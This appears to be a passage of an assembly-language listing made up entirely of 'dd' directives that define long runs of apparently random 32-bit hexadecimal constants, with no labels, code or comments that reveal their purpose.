		dd 12AF2034h, 5AF3C45h,	80C2CD7Ch, 0B8500895h, 513BD0E7h
		dd 7CC5092Fh, 0A7E91DFBh, 30684E01h, 4A59333Ah,	105D21C1h
		dd 9479CC23h, 0BDF449F9h, 0D09EF509h, 97B3FA39h, 0F39FBB74h
		dd 2F5602C4h, 778005BEh, 744DA42Dh, 0F66B5217h,	0D2AE4712h
		dd 437F5D0Ah, 58CBCAAFh, 90BF0406h, 0FF259726h,	0C6CDB905h
		dd 374938CAh, 0A5092989h, 2C260B52h, 0DA5395C6h, 72B50DDh
		dd 80CCFE5Ah, 0DD0BEDE4h, 0BD813A6Bh, 0B6FB3032h, 40E737D4h
		dd 0FCFF649Fh, 250503B0h, 0D3EA5617h, 80514F75h, 6CF11FDBh
		dd 0E6AF7A9Dh, 0FA181795h, 21A5E0FEh, 35BD6B7h,	2002606Dh
		dd 6BC30C00h, 0CD3112FEh, 85ED25E9h, 7697B15Ah,	0BBA03C37h
		dd 20179DE6h, 0E7F53651h, 126DA22Ah, 0E5A4C171h, 8C84C3Bh
		dd 0BA57C10h, 0B00BA268h, 9F6EEEEEh, 0E027EC5Bh, 1E12BD53h
		dd 8B10277Ch, 0F272F149h, 0EE018A4Eh, 0D1F62EB1h, 0BFEFF520h
		dd 99246450h, 2966A982h, 5D08279Ah, 0F1A431A2h,	9F9465F7h
		dd 49FD895Ch, 253E9645h, 0FEDB0B13h, 4412FBF5h,	520BA74h
		dd 4C691CE1h, 0EA4EB244h, 0DB4B3C52h, 435F001Ah, 9D2E2C32h
		dd 0F4250A84h, 0D10FEACCh, 6B15DB1Fh, 120975EBh, 5A4A6594h
		dd 0D55644C2h, 0D092285Bh, 44EA9E52h, 907DA659h, 0E05E6C1h
		dd 1C091831h, 3674A5E9h, 85E49F57h, 0F6945F51h,	78C26607h
		dd 45E37E6Fh, 7FB0E1ADh, 0D28D894Bh, 0CC11F64h,	71BD260h
		dd 0F2410316h, 2EDFCDD2h, 0A687E58Ah, 30C0C9AAh, 635A0705h
		dd 0E5E553CDh, 0FE3A847Fh, 8A9A90E6h, 61FAB7D4h, 0C3045885h
		dd 0CA1001AAh, 0B18134C8h, 6FCC0854h, 53C433F8h, 0C727C0B7h
		dd 7D6103E9h, 0B54CB440h, 26E530F0h, 8148858h, 52037F22h
		dd 0A26835B2h, 7E9AF717h, 61954683h, 0D3F1CB0Eh, 0FAFF8BB7h
		dd 0FD60E7B7h, 0BB1997EFh, 0FC93C2Dh, 0C980D728h, 0EB657F6Dh
		dd 441C01Fh, 72E9D7F6h,	9F233A0h, 38BE1DA3h, 88209FEh
		dd 5C631Ah, 6EB648EDh, 0FEF1212Dh, 793300E0h, 0F72D6160h
		dd 7A6F7401h, 6A7E100Dh, 0D51FC1D6h, 0AE05C0CEh, 74FD266Ch
		dd 0C2853B29h, 8431279Bh, 1000E893h, 0E84BD85Fh, 0AF39AD78h
		dd 37BA5913h, 2C02862Bh, 350474FCh, 0CB895357h,	1320F0AEh
		dd 3CA1590Dh, 704B65Fh,	5BC9C2FEh, 5562B054h, 0AAF28168h
		dd 906F5D02h, 0B83FED12h, 0E9D9A205h, 99BAD40Bh, 0D6283E9Fh
		dd 0CA0E4A70h, 1E8859F9h, 7F006E92h, 9AE95142h,	62BFB902h
		dd 4066C573h, 5868520Ch, 4F191D72h, 68F5702Eh, 21C50C81h
		dd 0DDC89298h, 6F2812EBh, 0DED0FB73h, 1DC90A5Bh, 5BF5742h
		dd 0BAAAB253h, 5E892DE4h, 5004ADC2h, 0BD80EA5Dh, 970604C6h
		dd 81F5313Fh, 6A43E3B8h, 257E93CEh, 5FE62AA7h, 0A97CE6C9h
		dd 0D36E05F7h, 0FF563F92h, 0F725D4C7h, 18B0C816h, 7C770602h
		dd 0ABF2E958h, 21C87FB0h, 0ED88D9DEh, 2E431834h, 301D0C32h
		dd 3D0D7824h, 0FFB50107h, 61E929D2h, 0DFA6F41Ah, 0F3EF64B6h
		dd 16C05A25h, 0E19FDBE9h, 849C73C2h, 0AA7E1468h, 0E90CC88Ah
		dd 0FC5D8D28h, 3C400341h, 20800859h, 6A3291Ah, 2E5B30F8h
		dd 64CEC98h, 50B6BE0h, 0F33645CDh, 0E6D85EE0h, 7161061h
		dd 0AC107F4Dh, 2A7C4C39h, 5917C06Ch, 3AF45152h,	183B6B40h
		dd 88739777h, 0DC25A1C7h, 815056Eh, 0DB19C127h,	0DB80051Fh
		dd 60451CCFh, 0CACD2471h, 79950F06h, 0A255C40Bh, 5E6887BEh
		dd 74575A12h, 0BC48038Dh, 91FC144Eh, 7CABE133h,	535AB0C5h
		dd 4A7D9856h, 0E0F589CCh, 8082BFAFh, 4C098116h,	83430942h
		dd 495501EBh, 92314BCAh, 2EB9F52Bh, 0B4E993A5h,	535E093Eh
		dd 0B7B0CED5h, 0F89D544Ch, 0D686808Fh, 4A858206h, 6E66A1DCh
		dd 0CCA626F8h, 8411EA4Dh, 0EE371A2h, 0D2037800h, 0D0E5812Dh
		dd 4A0E1B3Ch, 42196608h, 75797977h, 39522B80h, 0B680E92Dh
		dd 0AE5C13B6h, 0BF442029h, 51C7D95Fh, 1849AE68h, 4FB3535Ah
		dd 20D3B148h, 3A55E934h, 20E86A5Ch, 0E4D4E842h,	62573437h
		dd 0A149A610h, 0AD3330CAh, 2E621B13h, 80AA9DBEh, 68535007h
		dd 285D2A3Ch, 20CA5B21h, 5490570Eh, 4686EA04h, 0F3A9401Eh
		dd 0BB070841h, 0B981840Ah, 2BB35077h, 433FE43h,	6513F915h
		dd 2113AE30h, 0D5BB0316h, 1639E8B4h, 0DDE9FAF3h, 0C3166A48h
		dd 1022F817h, 5B0E21A9h, 0D349D987h, 8908CA0Dh,	0E6256810h
		dd 598BCDBh, 0C06BB63Ah, 364E678Ah, 2FC25948h, 336F223Fh
		dd 681AA1E5h, 5C280623h, 3559DC4h, 8463BCE9h, 0E9193CFEh
		dd 3AA3B62Dh, 278764DBh, 9411DAB2h, 0B3A53E51h,	0F848C64Eh
		dd 886A772Eh, 0E329BE6h, 8AD78528h, 14D724D1h, 0B44AD969h
		dd 43BD5BD9h, 0C357F98Eh, 2CE84F87h, 4DC2102h, 0B5FCF7F7h
		dd 6336D0DAh, 0CE6ACF30h, 4B303CD3h, 0EF910613h, 0B70926B3h
		dd 57FE283Eh, 0CE804DB3h
		dd 0E9FCB450h, 2ABA6B30h, 24250D68h, 1C77C27h, 3B012ACBh
		dd 0AD0C8B17h, 5F895872h, 5A1AFC6Fh, 0E9AC0DB8h, 14A6A259h
		dd 848E1CB9h, 94EC0774h, 4F02C780h, 34FA7046h, 66BDBA5Fh
		dd 0DDE1529Eh, 25FF39C8h, 5F29614Fh, 9535C02Fh,	595AE11Ch
		dd 0C86241D1h, 5E54382Fh, 0D2535639h, 0F331C7DDh, 2608DE26h
		dd 82FA65E9h, 92270DB8h, 36F4C540h, 43605481h, 0C0D78233h
		dd 2D722FCBh, 0D3501B49h, 0ABFC015Ah, 0E92EA0B5h, 0BC9F8C35h
		dd 0B582C1C4h, 52680394h, 0C737EAC4h, 86147D84h, 772E5A38h
		dd 74CE0346h, 87FCF122h, 9E195A36h, 47585350h, 51B95132h
		dd 7E544175h, 0A86E7CC1h, 3D100C7Fh, 0B95E271h,	8E3455E6h
		dd 0A0AD149Fh, 0B2E830F2h, 5461EDBCh, 0E0B4DF6Ch, 0C32AE909h
		dd 4D34FEB6h, 0A6FF2A9Eh, 3DF94B3Eh, 0DB76E9E0h, 920396B1h
		dd 0DF10B57Ah, 77722969h, 4EA3E080h, 0BA35037Eh, 55EC0BA7h
		dd 8429ED93h, 2801B746h, 285A66F0h, 0D1FBB5E0h,	808F457Dh
		dd 742DAD10h, 678957Eh,	0A918EA05h, 3C097871h, 861D796Fh
		dd 290B5B1h, 68C3015Bh,	456604BCh, 8852500Eh, 0E9D041CAh
		dd 4F6BC0C1h, 8D04014Bh, 0BCF7C869h, 0EE836841h, 2C641BF6h
		dd 929527Dh, 0D5009207h, 29DFE3D0h, 8272D6DEh, 38759BAFh
		dd 0BFCF89EDh, 0F3386010h, 58A36880h, 0BCDF775Ch, 0A358DE96h
		dd 60804B6h, 2BF4017h, 784E68B3h, 0BC0F076h, 5817C8Bh
		dd 664670F3h, 1389007Eh, 0E9790177h, 7B9FD255h,	0D5CE83C1h
		dd 0BEF40438h, 97C6149Ch, 4DD7C3C2h, 288790BCh,	9404485Ch
		dd 0D1213625h, 0A9E181C1h, 0FF5E864Ah, 2665DE01h, 50D42A60h
		dd 0BF469D4Ch, 9C9DA925h, 5951FC8Ch, 0C537C3A1h, 7E0F3094h
		dd 0BA005242h, 60237312h, 0B5A6CCE9h, 9CE5F1AEh, 0ED70A4A8h
		dd 0EA3B0E0Fh, 0C4F5CF7Fh, 530BB226h, 5BFD04A2h, 161723F4h
		dd 0B70957E0h, 57BBB72h, 521A3C4Ah, 0C19CDDF0h,	0BFA11E4Bh
		dd 0B3EDAC6Ah, 5E009C8Eh, 97B0BB5Dh, 0FE9AB92Dh, 0C4231749h
		dd 0F1E6FE8Bh, 0FA563C04h, 0CB12EC4Eh, 9596555Ah, 6864E92Fh
		dd 2AA6F150h, 1A41418h,	95C7490h, 30D9F741h, 1E0F0265h
		dd 2E963D47h, 0F68160D8h, 4E80F108h, 387F188Ch,	0C32D6FDAh
		dd 0E4097FB7h, 0E9860EDCh, 9AED7E6h, 5652D187h,	78508D0Bh
		dd 8E98C595h, 45AC3638h, 2AB6B028h, 7301C981h, 0E0DB6329h
		dd 0C0132F28h, 5EF5C16Ah, 0C8C347A0h, 21A0844h,	6543E9F2h
		dd 2F58359h, 0FFFE68F0h, 0CE8D5D23h, 86580A0Bh,	241FDDDh
		dd 12433CE0h, 9FF2D80Bh, 49AFBE12h, 0DDB394C1h,	407673EAh
		dd 0F76F491Ch, 6970D9A0h, 82C056A7h, 3B9723B6h,	0F4CD4C29h
		dd 0C820A325h, 3DE232BAh, 0BE61C690h, 9E2DE90Dh, 24EB6D8Bh
		dd 0D7964F71h, 6FD59DFFh, 82298CD3h, 0FBE7CEBh,	0C640EFB6h
		dd 0C7B35301h, 0FFDE302Dh, 0FE1E371Dh, 5EEC081h, 80E9B753h
		dd 497170D9h, 5BB856BAh, 25C3F326h, 0BB7F6F0h, 0FD77E8Fh
		dd 0BC93D528h, 0C598C60Fh, 550321D1h, 63A0BA80h, 13572252h
		dd 601ADCE9h, 0E7200F64h, 0D968560Ah, 148BD94Bh, 0D266135Fh
		dd 0C2750BAAh, 990DC92h, 457FC9ABh, 61B8AEEAh, 332C2868h
		dd 0B0B24AA4h, 3F2A5D3Bh, 505131C0h, 63332FE0h,	0B5C3E6Ch
		dd 0DF5A5952h, 14D69784h, 0DCB84A6Ah, 2FF50F72h, 0DDC961A4h
		dd 0E858F8DEh, 4D190068h, 0F705E0C1h, 0F4172DD0h, 0ED057A22h
		dd 20FFE320h, 5F43146Fh, 209D635Ch, 0FCAD819Ch,	8AE1B07Fh
		dd 0CBFD6397h, 5908064Ch, 0D486D7F6h, 0F39020EDh, 57A6A39Fh
		dd 0DB9883C1h, 0A846B556h, 9209A60h, 79476858h,	9A0054B2h
		dd 351A63C6h, 0AB08E913h, 0C10583ADh, 0AA44544Bh, 1708A050h
		dd 7DEE048Bh, 0E804279h, 0D7D95E04h, 5E3CB403h,	0F0A6D483h
		dd 0C73880C7h, 5BF800BAh, 7468D828h, 6108B62Dh,	2FEDC014h
		dd 7583214h, 9FEF808Eh,	5202E7B2h, 0A2E925E4h, 0E2BF4C00h
		dd 0FC98D24Eh, 0D7F87125h, 4B412E9Ah, 83407E80h, 1FD9B850h
		dd 570D003Eh, 0D14EACBFh, 0F71D817Fh, 46934B09h, 92D4EB0h
		dd 0C5530C2Ah, 0F4EB4E04h, 501DDDBCh, 0E58015A9h, 2524E97h
		dd 93057568h, 16E6010Ah, 2E29D866h, 0FAD3ADBCh,	0E90D248Bh
		dd 6B62AD05h, 0E8F2A2ACh, 978F2449h, 0FD5D5A30h, 0A63F281Fh
		dd 0FEADBD82h, 0E09B5812h, 39950580h, 1187A30h,	15DAFEF0h
		dd 0CB9766F4h, 71E89853h, 0A75B58BBh, 88383F08h, 909BB209h
		dd 2D23D02Eh, 9E801F4Ah, 936635F6h, 5ACA14Fh, 0D9BAB05Fh
		dd 0C73AC541h, 0E8E03B85h, 4BBFB89h, 0C2C9D89Fh, 4FEF5CDDh
		dd 50B65505h, 6F50C3D7h, 2F5C814Fh, 18DE69B2h, 6B93ED6h
		dd 18A5671Eh, 92C43997h, 0E9EF3CBAh, 0A669234h,	7FA98BBBh
		dd 2A16F003h, 414928h, 7AF2C710h, 1DF10511h, 80553E3Ah
		dd 37E2578Bh, 0A32DC829h, 1112AD07h, 0CA0FDC0Ch, 0B31C2FE9h
		dd 1254EA74h, 0B3EE40E9h, 523C20D2h, 0A669BE22h, 859370DAh
		dd 4A135816h, 0B4AA88C5h, 0F381BFh, 0B805256h, 5F7AE96Dh
		dd 399EC1E6h, 0F4971AAFh, 57140621h, 614A5602h,	0CADEE8FDh
		dd 92541E07h, 0BBE9845Ah, 52F2F6D8h, 8489725Eh,	7E62C855h
		dd 1665145Eh, 0D69B081h, 6874A381h, 66E9CC84h, 602DCFB4h
		dd 0B5FA29CBh, 0C852F5FCh, 5E7C0230h, 16BACBFh,	4B25148Fh
		dd 0D57BC3E9h, 4105BB09h, 598C527Bh, 51CA0988h,	0DC438B9h
		dd 7B011F4h, 32E9DFC2h,	629CD986h, 0F1577C68h, 23CE8285h
		dd 1B405BC5h, 0A12F2CC1h, 81755459h, 38348205h,	0B0827B46h
		dd 2D3EDE7Fh, 7FE461F9h, 0B5EEDFF4h, 0F37D55EAh, 12792C65h
		dd 0E766E861h, 0F5AEE2E2h, 57539210h, 281C6804h, 0AC814FEDh
		dd 5D011533h, 678B3045h, 243A6316h, 35086300h, 694320A7h
		dd 0C2A06641h, 914999BAh, 0D0212D16h, 751258E6h, 0B0D38C16h
		dd 0BB34E360h, 4CAB2E56h, 0CB2F7230h, 43A6A8F9h, 8AF49713h
		dd 0F2190D5h, 7D585434h, 0BA7C67C9h, 84E25125h,	0F80CAD68h
		dd 0AE92C5BDh, 220ECDABh, 0CA1C1023h, 0D5FEB72Fh, 0F48B841Eh
		dd 5ED5921Ah, 0DA7EAD4Bh, 0F2D6804h, 463CABB3h,	0E41B5192h
		dd 710DF3FAh, 33693036h, 9CF56E40h, 0AA474AA9h,	0AA80C6D4h
		dd 73D54F1Fh, 5F9FF82Bh, 2459CA20h, 68856354h, 0D745587Eh
		dd 0D9D9C965h, 0FFBF847Ah, 29B27F20h, 28A71F04h, 0B85B96D0h
		dd 0ABBC4F5Bh, 18B3EEB5h, 6BAD465Bh, 0F2048B9Eh, 95C12D98h
		dd 17280FAh, 0E5955FFDh, 94BC2099h, 3F525970h, 0B04F04FDh
		dd 2216B025h, 0FA0508EDh, 0C4CDB66Ch, 0AFB5876Ch, 905847A3h
		dd 0B36CBA2Fh, 0A0DAEA20h, 3D60C259h, 21931071h, 982BAC2Dh
		dd 3F568578h, 0BC187C32h, 8CC9DFA8h, 7EE74D17h,	68B18BFh
		dd 0D4B74903h, 0BF8A8CAh, 0B295FA6h, 8E248ADAh,	0E905E755h
		dd 0AC949C94h, 81DBD8h,	694D27E7h, 0D1DFF771h, 0CC917EF1h
		dd 0A9E956CCh, 12FBE42Fh, 0C68D6560h, 9D877789h, 0E5881062h
		dd 0E6E90708h, 73550969h, 0A4D52DD7h, 77443CE9h, 25FE1395h
		dd 69C8AD44h, 0CDEFFFA0h, 0F69808B4h, 0D74125E9h, 5347D0FCh
		dd 3AFCEC94h, 0A464F95Eh, 9F3E1E04h, 0C0E2B200h, 807508EAh
		dd 0B5514909h, 0E9186001h, 0BC069A11h, 0A86679BFh, 722018BDh
		dd 4D679002h, 4493435h,	3EC77A09h, 648BA475h, 0EE4F5EE8h
		dd 5EEAAB64h, 0B34E3E73h, 9C535081h, 0DE8FB04Ch, 797ED50Bh
		dd 45D20299h, 54C15226h, 760744EEh, 6D0B1E7Eh, 2934A62Ch
		dd 4366926Ch, 0F2224BE7h
		dd 0F9989F68h, 1FFCB841h, 57DA54D1h, 1A8BB9C3h,	7D0CC589h
		dd 0F70748E8h, 0BD55DB01h, 0A7AFA2D5h, 805FE13Eh, 334C581h
		dd 4C3117B5h, 0B30DDEEh, 25FCEB1Bh, 89118409h, 0C66482DFh
		dd 5AE9015Fh, 14A3263h,	74607D9Ah, 5A20EFD1h, 0FF410599h
		dd 0E8CF3102h, 0CA797A74h, 0ECBE5AF4h, 993E6758h, 0C0834164h
		dd 4BE73F01h, 0CA023116h, 473314F6h, 6806618Eh,	0E233036Bh
		dd 113CAE5Ah, 27884DE9h, 39CABF02h, 0DED82E69h,	0BA775898h
		dd 2460920h, 0A4B00507h, 7611E52h, 3ACC4D32h, 182018B1h
		dd 3B1C3010h, 4275EAC6h, 552BE725h, 8074362h, 0ED1906E9h
		dd 3660F302h, 6A297370h, 6F17C0FAh, 0F8714F59h,	74E90B8Bh
		dd 6AB0740Dh, 66DC250Eh, 26080167h, 0EFFE424Ch,	4D4598F7h
		dd 0C36FC0D9h, 36BD4552h, 0F9A7AC1h, 0C03B78D7h, 190DC19Fh
		dd 0FF0F1560h, 27E2D5A5h, 0F7C5DE29h, 8BE70BA6h, 0D2A05CA9h
		dd 400B327Fh, 5A5F543Bh, 14288051h, 0EBD035h, 2C2B73CAh
		dd 2221CFCh, 70922605h,	0F1D9A680h, 689D2785h, 816CADBBh
		dd 1F3B3857h, 35F754Fh,	261B6948h, 3D931021h, 21849B57h
		dd 0FA538417h, 4006612Ch, 809BA23h, 4C8912h, 0CF546398h
		dd 0E5C11661h, 84BFA806h, 93430A56h, 0BA948715h, 0F181A880h
		dd 0B3771DFFh, 0E0E1814Eh, 9F03FC11h, 0C90F454Ch, 0D5CD8016h
		dd 2E7BF369h, 97B2EDE9h, 4F9DE801h, 9D78F0E9h, 65BFB050h
		dd 58CAB275h, 902A8472h, 0E148FAA3h, 49BC0098h,	0F74A1306h
		dd 17798D2h, 0ECF9B640h, 0A78776E9h, 1F8C5B38h,	0DE094955h
		dd 215BD121h, 0A2997BC1h, 59918BE2h, 12A9A4C9h,	3E60A185h
		dd 7BE470B5h, 71D782ADh, 0DFE64F56h, 3B270B75h,	49FE5692h
		dd 538810D7h, 0D414FE54h, 0EF095BD3h, 9209329Ah, 3B2D4100h
		dd 185B9B5Fh, 740DEFCh,	0C1C94EE9h, 60E5D103h, 0C80EC43h
		dd 5AF0BD04h, 0E90FE84Ah, 1970E402h, 7A0FDDEAh,	0FFA490F2h
		dd 0C7039CB6h, 438E25A9h, 1EE70C04h, 0D4EF245Bh, 0C081AABh
		dd 31D41409h, 591B9DC7h, 0E168412Ah, 4E935143h,	0ED8000FAh
		dd 994BF0F4h, 0EACD01DAh, 0DB723912h, 6738D6F0h, 38F729FCh
		dd 8953A0FFh, 5A1AE4C3h, 8DCD885Bh, 0B8585480h,	2FA27B59h
		dd 77E074A0h, 0C2F9BC9h, 134358A6h, 0AB093353h,	0B4B8AB16h
		dd 0E05251C7h, 751B7ABBh, 485384Ch, 46C46807h, 0B20056F3h
		dd 57E623Fh, 72127B78h,	29A83186h, 0F9B0B784h, 88E61C0Dh
		dd 0E2F6DA4h, 0E9C501DAh, 2C32119Bh, 6056D997h,	5F41D233h
		dd 49F98140h, 256A7BD6h, 710386Bh, 0DC9F7268h, 0A8E9615Dh
		dd 5FA37EFBh, 8BF5368h,	0F626D24Ch, 26807E08h, 10F2EA7h
		dd 390DDD37h, 31992053h, 22E9D309h, 75C5C8E8h, 257F3D3Bh
		dd 305A2890h, 4C5C385Bh, 0F74E312Fh, 3A330E32h,	79A58B67h
		dd 0BD1D90BFh, 45E8367Ah, 57FA41EDh, 0C50A872Dh, 0D5C9108Ch
		dd 3B1D270Ch, 3FF55640h, 0AB4B27B4h, 0D86CD322h, 0E681689h
		dd 659BCC10h, 1BE50100h, 5C15CE81h, 0C1491705h,	0F68100EEh
		dd 299B2477h, 0E18EE925h, 0FD6041A0h, 8F69FECh,	0B553E9F8h
		dd 0E381DBFEh, 7B9C0356h, 13713080h, 0D8892522h, 0F71E729Bh
		dd 0F034A22Fh, 9F8AFEA3h, 0D3BAEDFDh, 5736A9F5h, 68A048CEh
		dd 192512E7h, 26DC563Fh, 0EBBF1308h, 0D0F0258Dh, 7024945Dh
		dd 0EB38805Ch, 0B4508051h, 5E4C04Dh, 3FDC7CF6h,	90E1A4ECh
		dd 0C8E38853h, 67915BDDh, 68F4470Ch, 0A425BA59h, 833D75B8h
		dd 1220C2E5h, 9D594E55h, 54035B27h, 0ACFD84DAh,	6EB30C6Ch
		dd 0B5531208h, 68E1A576h, 0DDC22680h, 7437957Bh, 106277E3h
		dd 1D6FDDEBh, 40DA98B5h, 46B689A5h, 0EE801243h,	5ABE094Ch
		dd 7669D356h, 2EE50BAh,	3F448755h, 4160E989h, 898DBCD1h
		dd 2F727B21h, 9740FA90h, 0CEE33380h, 0A359702Ch, 265D04CCh
		dd 10BF0ADCh, 2917071Eh, 39F92DD5h, 0ACB52A9Fh,	3CF05864h
		dd 0CB44C944h, 67347C13h, 9BC17101h, 3888FD1Dh,	67882926h
		dd 965B1DACh, 0BACAC0D6h, 0B84F5220h, 0B25AE9ACh, 0FED8D38Eh
		dd 0F582F7C1h, 2D5860BEh, 84A6E2F7h, 31AA08ABh,	6496E9B4h
		dd 1D04BD88h, 45714F01h, 0E536EA97h, 0CCF50B2Eh, 9F80C42Bh
		dd 663EE9EEh, 0EDBC5FD2h, 0A9F07A2Eh, 0CCC96FC6h, 76BD92D0h
		dd 78ED7958h, 0F5280967h, 4FE6555Ah, 0B09A4B20h, 0B06326A1h
		dd 0C9CA826Ch, 48DF4C33h, 0FB850F8h, 53413BF3h,	2E03E826h
		dd 0F021A5C7h, 0FBCA2377h, 28ECC384h, 544AC7AFh, 8435BE5Ah
		dd 8E1635A2h, 0C2B83C6Dh, 867F309h, 0E568D82Dh,	515D0841h
		dd 0B9EFA88Ch, 8E600BBFh, 6CA5C7B3h, 0A52C5B1Ah, 0EB0804C9h
		dd 75AF0384h, 63B3AE8Bh, 5FA53388h, 0DA6CC962h,	8101E9Bh
		dd 69892925h, 5C6FE946h, 41F6E95Dh, 0E22FBB44h,	12EA5EE7h
		dd 0F642FB93h, 76AD84E9h, 0B4684147h, 0C64E680Eh, 0A0B39843h
		dd 5C374836h, 0F602463Eh, 1AC542ADh, 446F780h, 521609C8h
		dd 0B808F289h, 93B20B45h, 0B5C0C856h, 0F1EA28B8h, 7897E02Bh
		dd 0BABFE916h, 0B52753A9h, 49A03454h, 1A01A12Dh, 0CBD5526Bh
		dd 0F4DBC62Ch, 681D204Bh, 60F62E84h, 0A9CBFA67h, 434C8D12h
		dd 0DCF22F91h, 6EC3511Eh, 0F4E9FF90h, 7EFC9FCDh, 44487F4Bh
		dd 0F780F9FEh, 17D7E4DFh, 0B3286D68h, 877C1056h, 29C5F64Ch
		dd 6A5CBFDDh, 1205E7DCh, 0D1810120h, 0DC7B3579h, 4ABD29A5h
		dd 38795F46h, 916BB5Ah,	2150680Ch, 4A2082C6h, 0E8425B9Eh
		dd 84818AA7h, 0F6C2BF06h, 0E912C08Eh, 1EB47087h, 0AD5F3698h
		dd 30C5A2ACh, 6E948DFBh, 1B348EF1h, 68D80B01h, 0FF337E7Ch
		dd 14FA7AE8h, 967FE914h, 0E56B025Fh, 685393B8h,	1A495ACCh
		dd 7E596F61h, 0DCB20709h, 6FDC9D41h, 25E91578h,	0D6E4543Ah
		dd 0B6BEA297h, 0D2B90308h, 524F5DE0h, 804FFAB0h, 5A204BFFh
		dd 967F71E2h, 483C4FDFh, 0BE0E4DF5h, 63F2A264h,	0C386404Eh
		dd 30FA0542h, 5358E946h, 5AD9EAFDh, 0BC68813Fh,	10E23FDFh
		dd 0FAC68C2h, 6273C0Ah,	9F1DBA8Eh, 0D55B10C8h, 8BCE23C6h
		dd 17F99FACh, 0AA47BF4Dh, 0EB53340Ah, 0E81D5EA5h, 98F2B75Dh
		dd 527957BEh, 1358F101h, 33315D47h, 13A17B60h, 12483A0Bh
		dd 698DF908h, 0D2CA0B1Ch, 447898C1h, 0B3667A27h, 0BFB7730Bh
		dd 6A9AD4DEh, 0F5C66013h, 0CC52F3Bh, 5D0951E8h,	63E0FC5Fh
		dd 1F412761h, 0E7035374h, 0E1629A29h, 95F091E2h, 8D24C734h
		dd 0ABC885C6h, 4006281Ah, 0B7AF475h, 8CE96C03h,	542764D2h
		dd 13F7DB5Dh, 3E96545Ch, 68D61A05h, 0EE80EA21h,	12712D48h
		dd 47E8A19h, 13F3DC13h,	0A8A718AEh, 37130D5Ch, 0C8B9051Ah
		dd 9DABE90Bh, 27231EFFh, 0EDA06503h, 8AC68002h,	905CA3F6h
		dd 55D080EAh, 307D2CBDh, 42C67122h, 3958AE4Ch, 0C0CF20E7h
		dd 0D90C2354h, 0E4952DDBh, 0AA8CE445h, 9887DFC2h, 0C2F4E955h
		dd 78125B24h, 5E7B72BAh, 0D697806Ch, 0FA01D8BDh, 18E937C2h
		dd 2292D54Eh, 2F3CDBFFh, 0D01F8C6Ch, 20A0335Ah,	0B22FDB91h
		dd 65275D52h, 51F0015Bh, 92B8D7B1h, 2C74C828h, 734FE8B8h
		dd 9825AFA3h, 0BE1619DDh, 277DB478h, 616631A6h,	0E64CB12Fh
		dd 10F20B6h, 35496812h,	0DDABEC35h, 9CA92B2Ah, 0CA920A16h
		dd 2C51619h, 0E44EB13h,	4DC2D701h, 78C22112h, 203AC125h
		dd 4B03AD31h, 0B9E962D2h, 66220F2Dh, 3504D901h,	7D2DBE25h
		dd 8C6CBE19h, 508EEB40h, 29630D8h, 681FFE07h, 8DCC7906h
		dd 0D3821791h, 905B0B33h
		dd 0B9FC55D7h, 9EC1355h, 86FF50DBh, 182809FCh, 238B1BE9h
		dd 0B21616C3h, 4701A10Dh, 15113BA4h, 2A740421h,	0E9FB1229h
		dd 5D8FA048h, 304F894Ch, 82BDA561h, 3EC52401h, 68BF0203h
		dd 0D05D4964h, 9A7320FBh, 10B75331h, 0A9345199h, 0F83E1E05h
		dd 4FDFBA1Fh, 27FE093h,	483D496Ah, 0BF35FAFFh, 2EED1944h
		dd 0ED89E1E5h, 0A3F76859h, 3B54E9BFh, 0CD2D5D4Bh, 30008229h
		dd 0B84CABEAh, 3B0695Ah, 1EA4651Eh, 1DD8288h, 0ABFD795Dh
		dd 4FE9683h, 943D267Bh,	9CC6AC81h, 57314FF2h, 41F92089h
		dd 72FB1F67h, 5A5978C1h, 0DA72EC4Ch, 2DC8029Eh,	3E6CDFC7h
		dd 0F3032825h, 156126B8h, 0AA5FDCA2h, 0E087135h, 0EEE90D41h
		dd 0AA2D3A23h, 0E5201671h, 0FE192E0Bh, 8D6130Bh, 0AE3CCF52h
		dd 532501C0h, 888F095Bh, 0AF89BA25h, 0ECA302C7h, 0C1143C9Bh
		dd 6560825h, 0F8E8B40h,	6C8ABD6Fh, 1320028Ah, 0D256683Bh
		dd 0C2E8830Fh, 0B3CD74E9h, 0CAEFDA53h, 1F158256h, 0AFF7DB41h
		dd 13709E77h, 0FA3CDF68h, 1A230A60h, 4F12B82Dh,	93D6ADD3h
		dd 4614BF0Bh, 10EE0228h, 0D4E907FBh, 0BF096C78h, 3E1F1Bh
		dd 890E79Dh, 0A97A485Ch, 0B90A8F04h, 3E788067h,	1327A209h
		dd 0BB2E7F21h, 0C60C3861h, 22EFD877h, 15BA842Eh, 5DB82C09h
		dd 85F44766h, 5312439Eh, 2A82E835h, 0C675099Ah,	6DEF259Ah
		dd 0C42044C4h, 0F08E9F87h, 153A25FFh, 71202540h, 31AC55CDh
		dd 0D5AFFF05h, 0EF728182h, 0D1617FD8h, 8B2A5EE2h, 24ED4E88h
		dd 33E9C881h, 2515268Dh, 96CF5092h, 3C6E52ABh, 5BCF6813h
		dd 0AAB4F8A8h, 0E91F1CEDh, 932F7171h, 0F982F1Dh, 0F41D389h
		dd 0EEE0629Dh, 0E7CD8130h, 55134A2Fh, 89872907h, 0ABE53320h
		dd 0E0BF4B51h, 903373Bh, 0E929C701h, 0D8676DD9h, 27936679h
		dd 9D45776h, 692D5BC0h,	97E94C6Eh, 2DFA34Fh, 85B0A801h
		dd 5A1C6829h, 0F33080C5h, 0BC945B9Dh, 0D3F6F48Fh, 1A9B538Eh
		dd 18045BABh, 0C2B6E9AEh, 0B3FFB9D4h, 67EB152Bh, 5C39128Ch
		dd 493CF88Ch, 0CF300ACBh, 3720E08Ch, 799180B5h,	12635258h
		dd 0F6332F68h, 505518E4h, 9065A4Eh, 82E95862h, 80555BABh
		dd 0F8375214h, 40A6901Ch, 0EB7729C6h, 30AD2526h, 5B65F2C9h
		dd 731DB9h, 26B1C98h, 0DF02E181h, 0F716E335h, 5E59DDD1h
		dd 5E56C981h, 1882684Eh, 56D39B7h, 0D929CFE1h, 0E4E03B4Ch
		dd 0F62FC1C6h, 0B0730262h, 38EB0E32h, 0BBF20EF4h, 7B09E221h
		dd 9E2902DDh, 0E05C68CEh, 0B979A864h, 120705B0h, 0B0A6E94Dh
		dd 0E79050F1h, 1F7E1C00h, 0A836B80Fh, 0EB014AD9h, 84EBED64h
		dd 2517EFECh, 5CFC2CFFh, 520F82B7h, 0E69284B6h,	0F9874290h
		dd 9FCD241h, 0FAF44E7Fh, 88F47669h, 0D2289788h,	2275FD09h
		dd 9A1D823Fh, 1E5107ECh, 0AEEB3DE4h, 0D95BFAB3h, 65F02A15h
		dd 48227C05h, 4920D356h, 0BC225E5Fh, 0CEF1550Bh, 0E808FFC8h
